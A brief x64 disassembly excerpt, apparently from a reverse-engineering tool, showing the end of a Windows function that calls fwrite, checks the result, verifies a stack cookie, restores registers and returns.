call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fwrite]
cmp r14, rax
jne 0x1400039bf
lea rax, [rbp - 0x40]
mov byte [rbx + 0x71], 1
cmp qword [rbp - 0x30], rax
cmovne edi, esi
mov eax, edi
mov rcx, qword [rbp - 8]
xor rcx, rsp
call fcn.1400e8180
lea r11, [rsp + 0x80]
mov rbx, qword [r11 + 0x30]
mov rsi, qword [r11 + 0x38]
mov rsp, r11
pop r14
pop rdi
pop rbp
ret